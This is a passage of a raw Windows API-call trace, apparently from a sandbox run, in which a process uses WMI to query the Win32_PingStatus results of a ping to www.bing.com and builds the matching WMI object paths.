pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2830d54*=0, plFlavor=0x2830d58*=0 | out: pVal=0x59fe794*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2830d54*=8200, plFlavor=0x2830d58*=32) returned 0x0 [0138.414] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="TimestampRoute", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2830db8*=0, plFlavor=0x2830dbc*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2830db8*=19, plFlavor=0x2830dbc*=0) returned 0x0 [0138.415] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="TimeToLive", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2830e28*=0, plFlavor=0x2830e2c*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x50, varVal2=0x0), pType=0x2830e28*=19, plFlavor=0x2830e2c*=0) returned 0x0 [0138.415] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="TypeofService", lFlags=0, pVal=0x59fe794*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2830fa4*=0, plFlavor=0x2830fa8*=0 | out: pVal=0x59fe794*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2830fa4*=19, plFlavor=0x2830fa8*=0) returned 0x0 [0138.415] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SERVER", lFlags=0, pVal=0x59fe728*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59fe7ac*=0, plFlavor=0x59fe7a8*=0 | out: pVal=0x59fe728*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x59fe7ac*=8, plFlavor=0x59fe7a8*=64) returned 0x0 [0138.415] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.415] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.415] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe728*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59fe7ac*=8, plFlavor=0x59fe7a8*=64 | out: pVal=0x59fe728*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x59fe7ac*=8, plFlavor=0x59fe7a8*=64) returned 0x0 [0138.415] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.415] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.415] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe728*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59fe7ac*=8, plFlavor=0x59fe7a8*=64 | out: pVal=0x59fe728*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x59fe7ac*=8, plFlavor=0x59fe7a8*=64) returned 0x0 [0138.416] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.416] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.416] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x454 [0138.416] SetEvent (hEvent=0x3f0) returned 1 [0138.416] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fe684*=0x454, lpdwindex=0x59fe4a8 | out: lpdwindex=0x59fe4a8) returned 0x0 [0138.419] CoGetContextToken (in: pToken=0x59fe55c | out: pToken=0x59fe55c) returned 0x0 [0138.419] CoGetContextToken (in: pToken=0x59fe4bc | out: pToken=0x59fe4bc) returned 0x0 [0138.419] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdceb8, riid=0x59fe58c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fe588 | out: ppvObject=0x59fe588*=0x5cdceb8) returned 0x0 [0138.419] WbemDefPath:IUnknown:AddRef (This=0x5cdceb8) returned 0x3 [0138.419] WbemDefPath:IUnknown:Release (This=0x5cdceb8) returned 0x2 [0138.419] WbemDefPath:IWbemPath:SetText (This=0x5cdceb8, uMode=0x4, pszPath="") returned 0x0 [0138.419] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x464 [0138.419] SetEvent (hEvent=0x3f0) returned 1 [0138.419] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fe684*=0x464, lpdwindex=0x59fe4a8 | out: lpdwindex=0x59fe4a8) returned 0x0 [0138.423] CoGetContextToken (in: pToken=0x59fe55c | out: pToken=0x59fe55c) returned 0x0 [0138.423] CoGetContextToken (in: pToken=0x59fe4bc | out: pToken=0x59fe4bc) returned 0x0 [0138.423] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdce48, riid=0x59fe58c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fe588 | out: ppvObject=0x59fe588*=0x5cdce48) returned 0x0 [0138.423] WbemDefPath:IUnknown:AddRef (This=0x5cdce48) returned 0x3 [0138.423] WbemDefPath:IUnknown:Release (This=0x5cdce48) returned 0x2 [0138.423] WbemDefPath:IWbemPath:SetText (This=0x5cdce48, uMode=0x4, pszPath="") returned 0x0 [0138.423] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdce48, puCount=0x59fe728 | out: puCount=0x59fe728*=0x0) returned 0x0 [0138.423] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdceb8, puCount=0x59fe728 | out: puCount=0x59fe728*=0x0) returned 0x0 [0138.423] WbemDefPath:IWbemPath:GetClassName (in: This=0x5cdce48, puBuffLength=0x59fe780*=0x0, pszName=0x0 | out: puBuffLength=0x59fe780*=0x0, pszName=0x0) returned 0x8004103a [0138.423] WbemDefPath:IWbemPath:GetServer (in: This=0x5cdce48, puNameBufLength=0x59fe77c*=0x0, pName=0x0 | out: puNameBufLength=0x59fe77c*=0x0, pName=0x0) returned 0x80041009 [0138.423] WbemDefPath:IWbemPath:SetServer (This=0x5cdce48, Name="Q9IATRKPRH") returned 0x0 [0138.423] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x410 [0138.424] SetEvent (hEvent=0x3f0) returned 1 [0138.424] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x59fe684*=0x410, lpdwindex=0x59fe4a8 | out: lpdwindex=0x59fe4a8) returned 0x0 [0138.426] CoGetContextToken (in: pToken=0x59fe55c | out: pToken=0x59fe55c) returned 0x0 [0138.426] CoGetContextToken (in: pToken=0x59fe4bc | out: pToken=0x59fe4bc) returned 0x0 [0138.426] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdcdd8, riid=0x59fe58c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x59fe588 | out: ppvObject=0x59fe588*=0x5cdcdd8) returned 0x0 [0138.426] WbemDefPath:IUnknown:AddRef (This=0x5cdcdd8) returned 0x3 [0138.426] WbemDefPath:IUnknown:Release (This=0x5cdcdd8) returned 0x2 [0138.427] WbemDefPath:IWbemPath:SetText (This=0x5cdcdd8, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0138.427] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdce48, puCount=0x59fe728 | out: puCount=0x59fe728*=0x0) returned 0x0 [0138.427] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdcdd8, puCount=0x59fe728 | out: puCount=0x59fe728*=0x2) returned 0x0 [0138.427] WbemDefPath:IWbemPath:GetText (in: This=0x5cdcdd8, lFlags=16, puBuffLength=0x59fe724*=0x0, pszText=0x0 | out: puBuffLength=0x59fe724*=0xb, pszText=0x0) returned 0x0 [0138.427] WbemDefPath:IWbemPath:GetText (in: This=0x5cdcdd8, lFlags=16, puBuffLength=0x59fe724*=0xb, pszText="0000000000" | out: puBuffLength=0x59fe724*=0xb, pszText="root\\cimv2") returned 0x0 [0138.427] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x5cdce48) returned 0x0 [0138.427] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdcdd8, puCount=0x59fe760 | out: puCount=0x59fe760*=0x2) returned 0x0 [0138.427] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdcdd8, uIndex=0x0, puNameBufLength=0x59fe75c*=0x0, pName=0x0 | out: puNameBufLength=0x59fe75c*=0x5, pName=0x0) returned 0x0 [0138.427] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdcdd8, uIndex=0x0, puNameBufLength=0x59fe75c*=0x5, pName="0000" | out: puNameBufLength=0x59fe75c*=0x5, pName="root") returned 0x0 [0138.427] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5cdce48, uIndex=0x0, pszName="root") returned 0x0 [0138.427] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdcdd8, uIndex=0x1, puNameBufLength=0x59fe75c*=0x0, pName=0x0 | out: puNameBufLength=0x59fe75c*=0x6, pName=0x0) returned 0x0 [0138.427] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5cdcdd8, uIndex=0x1, puNameBufLength=0x59fe75c*=0x6, pName="00000" | out: puNameBufLength=0x59fe75c*=0x6, pName="cimv2") returned 0x0 [0138.427] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5cdce48, uIndex=0x1, pszName="cimv2") returned 0x0 [0138.427] WbemDefPath:IWbemPath:GetClassName (in: This=0x5cdce48, puBuffLength=0x59fe780*=0x0, pszName=0x0 | out: puBuffLength=0x59fe780*=0x0, pszName=0x0) returned 0x8004103a [0138.427] WbemDefPath:IWbemPath:SetClassName (This=0x5cdce48, Name="Win32_PingStatus") returned 0x0 [0138.427] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5cdce48, puCount=0x59fe7c4 | out: puCount=0x59fe7c4*=0x2) returned 0x0 [0138.427] WbemDefPath:IWbemPath:GetText (in: This=0x5cdce48, lFlags=4, puBuffLength=0x59fe7c0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe7c0*=0x29, pszText=0x0) returned 0x0 [0138.427] WbemDefPath:IWbemPath:GetText (in: This=0x5cdce48, lFlags=4, puBuffLength=0x59fe7c0*=0x29, pszText="0000000000000000000000000000000000000000" | out: puBuffLength=0x59fe7c0*=0x29, pszText="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus") returned 0x0 [0138.430] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0138.430] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0138.430] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.430] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0138.430] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0138.430] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.430] IWbemClassObject:GetNames (in: This=0x5ce3b38, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe748*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe73c | out: pNames=0x59fe73c*="\x01ƀ\x04") returned 0x0 [0138.430] SafeArrayGetDim (psa=0x5ce9fb0) returned 0x1 [0138.430] SafeArrayGetDim (psa=0x5ce9fb0) returned 0x1 [0138.430] SafeArrayGetLBound (in: psa=0x5ce9fb0, nDim=0x1, plLbound=0x59fe5d4 | out: plLbound=0x59fe5d4) returned 0x0 [0138.431] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.431] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.431] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.431] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.431] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.431] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.431] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.431] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.431] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.431] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.431] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.431] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.431] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.431] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.431] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.431] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.431] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.431] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.431] SysStringByteLen (bstr="__PATH") returned 0xc [0138.431] SysStringByteLen (bstr="__PATH") returned 0xc [0138.431] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__GENUS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839804*=0, plFlavor=0x2839808*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2839804*=3, plFlavor=0x2839808*=64) returned 0x0 [0138.432] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839838*=0, plFlavor=0x283983c*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2839838*=8, plFlavor=0x283983c*=64) returned 0x0 [0138.432] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.432] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.432] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839890*=0, plFlavor=0x2839894*=0 | out: pVal=0x59fe738*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839890*=8, plFlavor=0x2839894*=64) returned 0x0 [0138.432] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DYNASTY", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28398b8*=0, plFlavor=0x28398bc*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28398b8*=8, plFlavor=0x28398bc*=64) returned 0x0 [0138.432] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.432] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.432] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__RELPATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839910*=0, plFlavor=0x2839914*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2839910*=8, plFlavor=0x2839914*=64) returned 0x0 [0138.432] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.432] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.432] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839ae8*=0, plFlavor=0x2839aec*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2839ae8*=3, plFlavor=0x2839aec*=64) returned 0x0 [0138.433] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DERIVATION", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839b1c*=0, plFlavor=0x2839b20*=0 | out: pVal=0x59fe738*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea100*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2839b1c*=8200, plFlavor=0x2839b20*=64) returned 0x0 [0138.433] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SERVER", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839b50*=0, plFlavor=0x2839b54*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2839b50*=8, plFlavor=0x2839b54*=64) returned 0x0 [0138.433] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.433] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.433] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0138.433] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0138.433] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.433] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0138.433] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0138.433] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.434] IWbemClassObject:GetNames (in: This=0x5ce3b38, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe77c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe770 | out: pNames=0x59fe770*="\x01ƀ\x04") returned 0x0 [0138.434] SafeArrayGetDim (psa=0x5cea130) returned 0x1 [0138.434] SafeArrayGetDim (psa=0x5cea130) returned 0x1 [0138.434] SafeArrayGetLBound (in: psa=0x5cea130, nDim=0x1, plLbound=0x59fe608 | out: plLbound=0x59fe608) returned 0x0 [0138.434] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.434] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.434] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.434] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.434] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.434] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.434] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.434] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.434] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.434] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.434] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.434] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.434] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.434] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.434] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.434] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.435] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.435] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.435] SysStringByteLen (bstr="__PATH") returned 0xc [0138.435] SysStringByteLen (bstr="__PATH") returned 0xc [0138.435] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__GENUS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839f30*=0, plFlavor=0x2839f34*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2839f30*=3, plFlavor=0x2839f34*=64) returned 0x0 [0138.435] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839f64*=0, plFlavor=0x2839f68*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2839f64*=8, plFlavor=0x2839f68*=64) returned 0x0 [0138.435] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.435] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.435] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839fbc*=0, plFlavor=0x2839fc0*=0 | out: pVal=0x59fe76c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839fbc*=8, plFlavor=0x2839fc0*=64) returned 0x0 [0138.435] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DYNASTY", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2839fe4*=0, plFlavor=0x2839fe8*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2839fe4*=8, plFlavor=0x2839fe8*=64) returned 0x0 [0138.435] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.435] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.435] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__RELPATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283a03c*=0, plFlavor=0x283a040*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x283a03c*=8, plFlavor=0x283a040*=64) returned 0x0 [0138.436] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.436] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.436] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283a214*=0, plFlavor=0x283a218*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x283a214*=3, plFlavor=0x283a218*=64) returned 0x0 [0138.436] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DERIVATION", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283a248*=0, plFlavor=0x283a24c*=0 | out: pVal=0x59fe76c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea190*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x283a248*=8200, plFlavor=0x283a24c*=64) returned 0x0 [0138.436] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SERVER", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283a27c*=0, plFlavor=0x283a280*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x283a27c*=8, plFlavor=0x283a280*=64) returned 0x0 [0138.436] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.436] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.436] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SERVER", lFlags=0, pVal=0x59fe860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283a27c*=8, plFlavor=0x283a280*=64 | out: pVal=0x59fe860*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x283a27c*=8, plFlavor=0x283a280*=64) returned 0x0 [0138.436] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.436] 